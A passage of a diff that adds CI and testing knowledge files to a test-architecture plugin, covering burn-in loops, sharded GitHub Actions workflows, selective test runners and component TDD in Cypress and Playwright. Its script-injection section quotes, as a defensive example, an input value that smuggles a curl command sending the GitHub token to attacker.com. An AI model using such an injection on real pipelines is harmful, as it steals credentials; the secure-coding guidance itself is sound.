+**Implementation**:
+
+```typescript
+// burn-in-changed.ts with sharding
+import { runBurnIn } from '@seontechnologies/playwright-utils/burn-in';
+
+async function main() {
+  const shardArg = process.argv.find((arg) => arg.startsWith('--shard='));
+
+  if (shardArg) {
+    process.env.PW_SHARD = shardArg.split('=')[1];
+  }
+
+  await runBurnIn({
+    configPath: 'playwright/config/.burn-in.config.ts',
+  });
+}
+```
+
+```yaml
+# GitHub Actions with sharding
+jobs:
+  burn-in:
+    strategy:
+      matrix:
+        shard: [1/3, 2/3, 3/3]
+    steps:
+      - run: npm run test:pw:burn-in-changed -- --shard=${{ matrix.shard }}
+```
+
+**Key Points**:
+
+- Pass `--shard=1/3` for parallel execution
+- Burn-in respects Playwright sharding
+- Distribute across multiple workers
+- Reduces total CI time further
+
+## Integration with CI Workflow
+
+When setting up CI with `*ci` workflow, recommend burn-in for:
+
+- Pull request validation
+- Pre-merge checks
+- Nightly builds (subset runs)
+
+## Related Fragments
+
+- `ci-burn-in.md` - Traditional burn-in patterns (10-iteration loops)
+- `selective-testing.md` - Test selection strategies
+- `overview.md` - Installation
+
+## Anti-Patterns
+
+**❌ Over-aggressive skip patterns:**
+
+```typescript
+skipBurnInPatterns: [
+  '**/*', // Skips everything!
+];
+```
+
+**✅ Targeted skip patterns:**
+
+```typescript
+skipBurnInPatterns: ['**/config/**', '**/*types*', '**/*.md', '**/*constants*'];
+```
+
+**❌ Too low percentage (false confidence):**
+
+```typescript
+burnInTestPercentage: 0.05; // Only 5% - might miss issues
+```
+
+**✅ Balanced percentage:**
+
+```typescript
+burnInTestPercentage: 0.2; // 20% in CI, provides good coverage
+```
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/ci-burn-in.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/ci-burn-in.md
new file mode 100644
index 0000000..a092987
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/ci-burn-in.md
@@ -0,0 +1,717 @@
+# CI Pipeline and Burn-In Strategy
+
+## Principle
+
+CI pipelines must execute tests reliably, quickly, and provide clear feedback. Burn-in testing (running changed tests multiple times) flushes out flakiness before merge. Stage jobs strategically: install/cache once, run changed specs first for fast feedback, then shard full suites with fail-fast disabled to preserve evidence.
+
+## Rationale
+
+CI is the quality gate for production. A poorly configured pipeline either wastes developer time (slow feedback, false positives) or ships broken code (false negatives, insufficient coverage). Burn-in testing ensures reliability by stress-testing changed code, while parallel execution and intelligent test selection optimize speed without sacrificing thoroughness.
+
+## Security: Script Injection Prevention
+
+**Rule:** NEVER use `${{ inputs.* }}` or user-controlled GitHub context directly in `run:` blocks. Always pass through `env:` and reference as `"$ENV_VAR"` (double-quoted).
+
+When CI templates are extended into reusable workflows (`on: workflow_call`), manual dispatch workflows (`on: workflow_dispatch`), or composite actions, `${{ inputs.* }}` values become user-controllable. Interpolating them directly in `run:` blocks enables shell command injection.
+
+### Vulnerable vs Safe Pattern
+
+```yaml
+# ❌ VULNERABLE — inputs.test_ids could contain: "; curl attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
+- name: Run tests
+  run: |
+    npx playwright test --grep "${{ inputs.test_ids }}"
+
+# ✅ SAFE — env var cannot break out of shell quoting
+- name: Run tests
+  env:
+    TEST_IDS: ${{ inputs.test_ids }}
+  run: |
+    npx playwright test --grep "$TEST_IDS"
+```
+
+### Unsafe Contexts (require env: intermediary)
+
+- `${{ inputs.* }}` — workflow_call and workflow_dispatch inputs
+- `${{ github.event.* }}` — treat the entire event namespace as unsafe (PR titles, issue bodies, comment bodies, label names, etc.)
+- `${{ github.head_ref }}` — PR source branch name (user-controlled)
+
+**Important:** Passing through `env:` prevents GitHub expression injection, but inputs must still be treated as DATA, not COMMANDS. Never execute an input-derived env var as a shell command (e.g., `run: $CMD` where CMD came from an input). Use fixed commands and pass inputs only as quoted arguments.
+
+### Safe Contexts (safe from GitHub expression injection in run: blocks)
+
+- `${{ steps.*.outputs.* }}` — pre-computed by your own code
+- `${{ matrix.* }}` — defined in workflow YAML
+- `${{ runner.os }}`, `${{ github.sha }}`, `${{ github.ref }}` — system-controlled
+- `${{ secrets.* }}` — secret store, not user-injectable
+- `${{ env.* }}` — already an env var
+
+> **Note:** "Safe from expression injection" means these values cannot be manipulated by external actors to break out of `${{ }}` interpolation. Standard shell quoting practices still apply — always double-quote variable references in `run:` blocks.
+
+---
+
+## Pattern Examples
+
+### Example 1: GitHub Actions Workflow with Parallel Execution
+
+**Context**: Production-ready CI/CD pipeline for E2E tests with caching, parallelization, and burn-in testing.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/e2e-tests.yml
+name: E2E Tests
+on:
+  pull_request:
+  push:
+    branches: [main, develop]
+
+env:
+  NODE_VERSION_FILE: '.nvmrc'
+  CACHE_KEY: ${{ runner.os }}-node-${{ hashFiles('**/package-lock.json') }}
+
+jobs:
+  install-dependencies:
+    name: Install & Cache Dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Cache node modules
+        uses: actions/cache@v4
+        id: npm-cache
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/Cypress
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+          restore-keys: |
+            ${{ runner.os }}-node-
+
+      - name: Install dependencies
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npm ci --prefer-offline --no-audit
+
+      - name: Install Playwright browsers
+        if: steps.npm-cache.outputs.cache-hit != 'true'
+        run: npx playwright install --with-deps chromium
+
+  test-changed-specs:
+    name: Test Changed Specs First (Burn-In)
+    needs: install-dependencies
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Detect changed test files
+        id: changed-tests
+        run: |
+          CHANGED_SPECS=$(git diff --name-only origin/main...HEAD | grep -E '\.(spec|test)\.(ts|js|tsx|jsx)$' || echo "")
+          echo "changed_specs=${CHANGED_SPECS}" >> $GITHUB_OUTPUT
+          echo "Changed specs: ${CHANGED_SPECS}"
+
+      - name: Run burn-in on changed specs (10 iterations)
+        if: steps.changed-tests.outputs.changed_specs != ''
+        run: |
+          SPECS="${{ steps.changed-tests.outputs.changed_specs }}"
+          echo "Running burn-in: 10 iterations on changed specs"
+          for i in {1..10}; do
+            echo "Burn-in iteration $i/10"
+            npm run test -- $SPECS || {
+              echo "❌ Burn-in failed on iteration $i"
+              exit 1
+            }
+          done
+          echo "✅ Burn-in passed - 10/10 successful runs"
+
+      - name: Upload artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: burn-in-failure-artifacts
+          path: |
+            test-results/
+            playwright-report/
+            screenshots/
+          retention-days: 7
+
+  test-e2e-sharded:
+    name: E2E Tests (Shard ${{ matrix.shard }}/${{ strategy.job-total }})
+    needs: [install-dependencies, test-changed-specs]
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    strategy:
+      fail-fast: false # Run all shards even if one fails
+      matrix:
+        shard: [1, 2, 3, 4]
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: ${{ env.NODE_VERSION_FILE }}
+          cache: 'npm'
+
+      - name: Restore dependencies
+        uses: actions/cache@v4
+        with:
+          path: |
+            ~/.npm
+            node_modules
+            ~/.cache/ms-playwright
+          key: ${{ env.CACHE_KEY }}
+
+      - name: Run E2E tests (shard ${{ matrix.shard }})
+        run: npm run test:e2e -- --shard=${{ matrix.shard }}/4
+        env:
+          TEST_ENV: staging
+          CI: true
+
+      - name: Upload test results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+
+      - name: Upload JUnit report
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: junit-results-shard-${{ matrix.shard }}
+          path: test-results/junit.xml
+          retention-days: 30
+
+  merge-test-results:
+    name: Merge Test Results & Generate Report
+    needs: test-e2e-sharded
+    runs-on: ubuntu-latest
+    if: always()
+    steps:
+      - name: Download all shard results
+        uses: actions/download-artifact@v4
+        with:
+          pattern: test-results-shard-*
+          path: all-results/
+
+      - name: Merge HTML reports
+        run: |
+          npx playwright merge-reports --reporter=html all-results/
+          echo "Merged report available in playwright-report/"
+
+      - name: Upload merged report
+        uses: actions/upload-artifact@v4
+        with:
+          name: merged-playwright-report
+          path: playwright-report/
+          retention-days: 30
+
+      - name: Comment PR with results
+        if: github.event_name == 'pull_request'
+        uses: daun/playwright-report-comment@v3
+        with:
+          report-path: playwright-report/
+```
+
+**Key Points**:
+
+- **Install once, reuse everywhere**: Dependencies cached across all jobs
+- **Burn-in first**: Changed specs run 10x before full suite
+- **Fail-fast disabled**: All shards run to completion for full evidence
+- **Parallel execution**: 4 shards cut execution time by ~75%
+- **Artifact retention**: 30 days for reports, 7 days for failure debugging
+
+---
+
+### Example 2: Burn-In Loop Pattern (Standalone Script)
+
+**Context**: Reusable bash script for burn-in testing changed specs locally or in CI.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/burn-in-changed.sh
+# Usage: ./scripts/burn-in-changed.sh [iterations] [base-branch]
+
+set -e  # Exit on error
+
+# Configuration
+ITERATIONS=${1:-10}
+BASE_BRANCH=${2:-main}
+SPEC_PATTERN='\.(spec|test)\.(ts|js|tsx|jsx)$'
+
+echo "🔥 Burn-In Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Iterations: $ITERATIONS"
+echo "Base branch: $BASE_BRANCH"
+echo ""
+
+# Detect changed test files
+echo "📋 Detecting changed test files..."
+CHANGED_SPECS=$(git diff --name-only $BASE_BRANCH...HEAD | grep -E "$SPEC_PATTERN" || echo "")
+
+if [ -z "$CHANGED_SPECS" ]; then
+  echo "✅ No test files changed. Skipping burn-in."
+  exit 0
+fi
+
+echo "Changed test files:"
+echo "$CHANGED_SPECS" | sed 's/^/  - /'
+echo ""
+
+# Count specs
+SPEC_COUNT=$(echo "$CHANGED_SPECS" | wc -l | xargs)
+echo "Running burn-in on $SPEC_COUNT test file(s)..."
+echo ""
+
+# Burn-in loop
+FAILURES=()
+for i in $(seq 1 $ITERATIONS); do
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🔄 Iteration $i/$ITERATIONS"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+  # Run tests with explicit file list
+  if npm run test -- $CHANGED_SPECS 2>&1 | tee "burn-in-log-$i.txt"; then
+    echo "✅ Iteration $i passed"
+  else
+    echo "❌ Iteration $i failed"
+    FAILURES+=($i)
+
+    # Save failure artifacts
+    mkdir -p burn-in-failures/iteration-$i
+    cp -r test-results/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+    cp -r screenshots/ burn-in-failures/iteration-$i/ 2>/dev/null || true
+
+    echo ""
+    echo "🛑 BURN-IN FAILED on iteration $i"
+    echo "Failure artifacts saved to: burn-in-failures/iteration-$i/"
+    echo "Logs saved to: burn-in-log-$i.txt"
+    echo ""
+    exit 1
+  fi
+
+  echo ""
+done
+
+# Success summary
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎉 BURN-IN PASSED"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "All $ITERATIONS iterations passed for $SPEC_COUNT test file(s)"
+echo "Changed specs are stable and ready to merge."
+echo ""
+
+# Cleanup logs
+rm -f burn-in-log-*.txt
+
+exit 0
+```
+
+**Usage**:
+
+```bash
+# Run locally with default settings (10 iterations, compare to main)
+./scripts/burn-in-changed.sh
+
+# Custom iterations and base branch
+./scripts/burn-in-changed.sh 20 develop
+
+# Add to package.json
+{
+  "scripts": {
+    "test:burn-in": "bash scripts/burn-in-changed.sh",
+    "test:burn-in:strict": "bash scripts/burn-in-changed.sh 20"
+  }
+}
+```
+
+**Key Points**:
+
+- **Exit on first failure**: Flaky tests caught immediately
+- **Failure artifacts**: Saved per-iteration for debugging
+- **Flexible configuration**: Iterations and base branch customizable
+- **CI/local parity**: Same script runs in both environments
+- **Clear output**: Visual feedback on progress and results
+
+---
+
+### Example 3: Shard Orchestration with Result Aggregation
+
+**Context**: Advanced sharding strategy for large test suites with intelligent result merging.
+
+**Implementation**:
+
+```javascript
+// scripts/run-sharded-tests.js
+const { spawn } = require('child_process');
+const fs = require('fs');
+const path = require('path');
+
+/**
+ * Run tests across multiple shards and aggregate results
+ * Usage: node scripts/run-sharded-tests.js --shards=4 --env=staging
+ */
+
+const SHARD_COUNT = parseInt(process.env.SHARD_COUNT || '4');
+const TEST_ENV = process.env.TEST_ENV || 'local';
+const RESULTS_DIR = path.join(__dirname, '../test-results');
+
+console.log(`🚀 Running tests across ${SHARD_COUNT} shards`);
+console.log(`Environment: ${TEST_ENV}`);
+console.log('━'.repeat(50));
+
+// Ensure results directory exists
+if (!fs.existsSync(RESULTS_DIR)) {
+  fs.mkdirSync(RESULTS_DIR, { recursive: true });
+}
+
+/**
+ * Run a single shard
+ */
+function runShard(shardIndex) {
+  return new Promise((resolve, reject) => {
+    const shardId = `${shardIndex}/${SHARD_COUNT}`;
+    console.log(`\n📦 Starting shard ${shardId}...`);
+
+    const child = spawn('npx', ['playwright', 'test', `--shard=${shardId}`, '--reporter=json'], {
+      env: { ...process.env, TEST_ENV, SHARD_INDEX: shardIndex },
+      stdio: 'pipe',
+    });
+
+    let stdout = '';
+    let stderr = '';
+
+    child.stdout.on('data', (data) => {
+      stdout += data.toString();
+      process.stdout.write(data);
+    });
+
+    child.stderr.on('data', (data) => {
+      stderr += data.toString();
+      process.stderr.write(data);
+    });
+
+    child.on('close', (code) => {
+      // Save shard results
+      const resultFile = path.join(RESULTS_DIR, `shard-${shardIndex}.json`);
+      try {
+        const result = JSON.parse(stdout);
+        fs.writeFileSync(resultFile, JSON.stringify(result, null, 2));
+        console.log(`✅ Shard ${shardId} completed (exit code: ${code})`);
+        resolve({ shardIndex, code, result });
+      } catch (error) {
+        console.error(`❌ Shard ${shardId} failed to parse results:`, error.message);
+        reject({ shardIndex, code, error });
+      }
+    });
+
+    child.on('error', (error) => {
+      console.error(`❌ Shard ${shardId} process error:`, error.message);
+      reject({ shardIndex, error });
+    });
+  });
+}
+
+/**
+ * Aggregate results from all shards
+ */
+function aggregateResults() {
+  console.log('\n📊 Aggregating results from all shards...');
+
+  const shardResults = [];
+  let totalTests = 0;
+  let totalPassed = 0;
+  let totalFailed = 0;
+  let totalSkipped = 0;
+  let totalFlaky = 0;
+
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    const resultFile = path.join(RESULTS_DIR, `shard-${i}.json`);
+    if (fs.existsSync(resultFile)) {
+      const result = JSON.parse(fs.readFileSync(resultFile, 'utf8'));
+      shardResults.push(result);
+
+      // Aggregate stats
+      totalTests += result.stats?.expected || 0;
+      totalPassed += result.stats?.expected || 0;
+      totalFailed += result.stats?.unexpected || 0;
+      totalSkipped += result.stats?.skipped || 0;
+      totalFlaky += result.stats?.flaky || 0;
+    }
+  }
+
+  const summary = {
+    totalShards: SHARD_COUNT,
+    environment: TEST_ENV,
+    totalTests,
+    passed: totalPassed,
+    failed: totalFailed,
+    skipped: totalSkipped,
+    flaky: totalFlaky,
+    duration: shardResults.reduce((acc, r) => acc + (r.duration || 0), 0),
+    timestamp: new Date().toISOString(),
+  };
+
+  // Save aggregated summary
+  fs.writeFileSync(path.join(RESULTS_DIR, 'summary.json'), JSON.stringify(summary, null, 2));
+
+  console.log('\n━'.repeat(50));
+  console.log('📈 Test Results Summary');
+  console.log('━'.repeat(50));
+  console.log(`Total tests:    ${totalTests}`);
+  console.log(`✅ Passed:      ${totalPassed}`);
+  console.log(`❌ Failed:      ${totalFailed}`);
+  console.log(`⏭️  Skipped:     ${totalSkipped}`);
+  console.log(`⚠️  Flaky:       ${totalFlaky}`);
+  console.log(`⏱️  Duration:    ${(summary.duration / 1000).toFixed(2)}s`);
+  console.log('━'.repeat(50));
+
+  return summary;
+}
+
+/**
+ * Main execution
+ */
+async function main() {
+  const startTime = Date.now();
+  const shardPromises = [];
+
+  // Run all shards in parallel
+  for (let i = 1; i <= SHARD_COUNT; i++) {
+    shardPromises.push(runShard(i));
+  }
+
+  try {
+    await Promise.allSettled(shardPromises);
+  } catch (error) {
+    console.error('❌ One or more shards failed:', error);
+  }
+
+  // Aggregate results
+  const summary = aggregateResults();
+
+  const totalTime = ((Date.now() - startTime) / 1000).toFixed(2);
+  console.log(`\n⏱️  Total execution time: ${totalTime}s`);
+
+  // Exit with failure if any tests failed
+  if (summary.failed > 0) {
+    console.error('\n❌ Test suite failed');
+    process.exit(1);
+  }
+
+  console.log('\n✅ All tests passed');
+  process.exit(0);
+}
+
+main().catch((error) => {
+  console.error('Fatal error:', error);
+  process.exit(1);
+});
+```
+
+**package.json integration**:
+
+```json
+{
+  "scripts": {
+    "test:sharded": "node scripts/run-sharded-tests.js",
+    "test:sharded:ci": "SHARD_COUNT=8 TEST_ENV=staging node scripts/run-sharded-tests.js"
+  }
+}
+```
+
+**Key Points**:
+
+- **Parallel shard execution**: All shards run simultaneously
+- **Result aggregation**: Unified summary across shards
+- **Failure detection**: Exit code reflects overall test status
+- **Artifact preservation**: Individual shard results saved for debugging
+- **CI/local compatibility**: Same script works in both environments
+
+---
+
+### Example 4: Selective Test Execution (Changed Files + Tags)
+
+**Context**: Optimize CI by running only relevant tests based on file changes and tags.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-test-runner.sh
+# Intelligent test selection based on changed files and test tags
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Test Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Detect changed files (all types, not just tests)
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Determine test strategy based on changes
+run_smoke_only=false
+run_all_tests=false
+affected_specs=""
+
+# Critical files = run all tests
+if echo "$CHANGED_FILES" | grep -qE '(package\.json|package-lock\.json|playwright\.config|cypress\.config|\.github/workflows)'; then
+  echo "⚠️  Critical configuration files changed. Running ALL tests."
+  run_all_tests=true
+
+# Auth/security changes = run all auth + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
+  echo "🔒 Auth/security files changed. Running auth + smoke tests."
+  npm run test -- --grep "@auth|@smoke"
+  exit $?
+
+# API changes = run integration + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
+  echo "🔌 API files changed. Running integration + smoke tests."
+  npm run test -- --grep "@integration|@smoke"
+  exit $?
+
+# UI component changes = run related component tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
+  echo "🎨 UI components changed. Running component + smoke tests."
+
+  # Extract component names and find related tests
+  components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
+  for component in $components; do
+    # Find tests matching component name
+    affected_specs+=$(find tests -name "*${component}*" -type f) || true
+  done
+
+  if [ -n "$affected_specs" ]; then
+    echo "Running tests for: $affected_specs"
+    npm run test -- $affected_specs --grep "@smoke"
+  else
+    echo "No specific tests found. Running smoke tests only."
+    npm run test -- --grep "@smoke"
+  fi
+  exit $?
+
+# Documentation/config only = run smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
+  echo "📝 Documentation/config files changed. Running smoke tests only."
+  run_smoke_only=true
+else
+  echo "⚙️  Other files changed. Running smoke tests."
+  run_smoke_only=true
+fi
+
+# Execute selected strategy
+if [ "$run_all_tests" = true ]; then
+  echo ""
+  echo "Running full test suite..."
+  npm run test
+elif [ "$run_smoke_only" = true ]; then
+  echo ""
+  echo "Running smoke tests..."
+  npm run test -- --grep "@smoke"
+fi
+```
+
+**Usage in GitHub Actions**:
+
+```yaml
+# .github/workflows/selective-tests.yml
+name: Selective Tests
+on: pull_request
+
+jobs:
+  selective-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Run selective tests
+        run: bash scripts/selective-test-runner.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent routing**: Tests selected based on changed file types
+- **Tag-based filtering**: Use @smoke, @auth, @integration tags
+- **Fast feedback**: Only relevant tests run on most PRs
+- **Safety net**: Critical changes trigger full suite
+- **Component mapping**: UI changes run related component tests
+
+---
+
+## CI Configuration Checklist
+
+Before deploying your CI pipeline, verify:
+
+- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached
+- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min)
+- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts
+- [ ] **Parallelization**: Matrix strategy uses fail-fast: false
+- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge
+- [ ] **wait-on app startup**: CI waits for app (wait-on: '<http://localhost:3000>')
+- [ ] **Secrets documented**: README lists required secrets (API keys, tokens)
+- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci)
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD pipeline setup)
+- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md`
+- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins
+
+_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/component-tdd.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/component-tdd.md
new file mode 100644
index 0000000..d14ba8f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/component-tdd.md
@@ -0,0 +1,486 @@
+# Component Test-Driven Development Loop
+
+## Principle
+
+Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality.
+
+## Rationale
+
+Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail.
+
+## Pattern Examples
+
+### Example 1: Red-Green-Refactor Loop
+
+**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality.
+
+**Implementation**:
+
+```typescript
+// Step 1: RED - Write failing test
+// Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+});
+
+// Run test: FAILS - Button component doesn't exist yet
+// Error: "Cannot find module './Button'"
+
+// Step 2: GREEN - Minimal implementation
+// Button.tsx
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+};
+
+export const Button = ({ label, onClick }: ButtonProps) => {
+  return <button onClick={onClick}>{label}</button>;
+};
+
+// Run test: PASSES - Component renders and handles clicks
+
+// Step 3: REFACTOR - Improve implementation
+// Add disabled state, loading state, variants
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+  disabled?: boolean;
+  loading?: boolean;
+  variant?: 'primary' | 'secondary' | 'danger';
+};
+
+export const Button = ({
+  label,
+  onClick,
+  disabled = false,
+  loading = false,
+  variant = 'primary'
+}: ButtonProps) => {
+  return (
+    <button
+      onClick={onClick}
+      disabled={disabled || loading}
+      className={`btn btn-${variant}`}
+      data-testid="button"
+    >
+      {loading ? <Spinner /> : label}
+    </button>
+  );
+};
+
+// Step 4: Expand tests for new features
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Submit" disabled={true} />);
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should show spinner when loading', () => {
+    cy.mount(<Button label="Submit" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles', () => {
+    cy.mount(<Button label="Delete" variant="danger" />);
+    cy.get('button').should('have.class', 'btn-danger');
+  });
+});
+
+// Run tests: ALL PASS - Refactored component still works
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Submit" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Red: Write failing test first - clarifies requirements before coding
+- Green: Implement minimal code to pass - prevents over-engineering
+- Refactor: Improve code quality while keeping tests green
+- Expand: Add tests for new features after refactoring
+- Cycle repeats: Each new feature starts with a failing test
+
+### Example 2: Provider Isolation Pattern
+
+**Context**: When testing components that depend on context providers (React Query, Auth, Router), wrap them with required providers in each test to prevent state bleed between tests.
+
+**Implementation**:
+
+```typescript
+// test-utils/AllTheProviders.tsx
+import { FC, ReactNode } from 'react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { BrowserRouter } from 'react-router-dom';
+import { AuthProvider } from '../contexts/AuthContext';
+
+type Props = {
+  children: ReactNode;
+  initialAuth?: { user: User | null; token: string | null };
+};
+
+export const AllTheProviders: FC<Props> = ({ children, initialAuth }) => {
+  // Create NEW QueryClient per test (prevent state bleed)
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false }
+    }
+  });
+
+  return (
+    <QueryClientProvider client={queryClient}>
+      <BrowserRouter>
+        <AuthProvider initialAuth={initialAuth}>
+          {children}
+        </AuthProvider>
+      </BrowserRouter>
+    </QueryClientProvider>
+  );
+};
+
+// Cypress custom mount command
+// cypress/support/component.tsx
+import { mount } from 'cypress/react18';
+import { AllTheProviders } from '../../test-utils/AllTheProviders';
+
+Cypress.Commands.add('wrappedMount', (component, options = {}) => {
+  const { initialAuth, ...mountOptions } = options;
+
+  return mount(
+    <AllTheProviders initialAuth={initialAuth}>
+      {component}
+    </AllTheProviders>,
+    mountOptions
+  );
+});
+
+// Usage in tests
+// UserProfile.cy.tsx
+import { UserProfile } from './UserProfile';
+
+describe('UserProfile Component', () => {
+  it('should display user when authenticated', () => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user, token: 'fake-token' }
+    });
+
+    cy.contains('John Doe').should('be.visible');
+    cy.contains('john@example.com').should('be.visible');
+  });
+
+  it('should show login prompt when not authenticated', () => {
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user: null, token: null }
+    });
+
+    cy.contains('Please log in').should('be.visible');
+  });
+});
+
+// Playwright Component Test with providers
+import { test, expect } from '@playwright/experimental-ct-react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { UserProfile } from './UserProfile';
+import { AuthProvider } from '../contexts/AuthContext';
+
+test.describe('UserProfile Component', () => {
+  test('should display user when authenticated', async ({ mount }) => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+    const queryClient = new QueryClient();
+
+    const component = await mount(
+      <QueryClientProvider client={queryClient}>
+        <AuthProvider initialAuth={{ user, token: 'fake-token' }}>
+          <UserProfile />
+        </AuthProvider>
+      </QueryClientProvider>
+    );
+
+    await expect(component.getByText('John Doe')).toBeVisible();
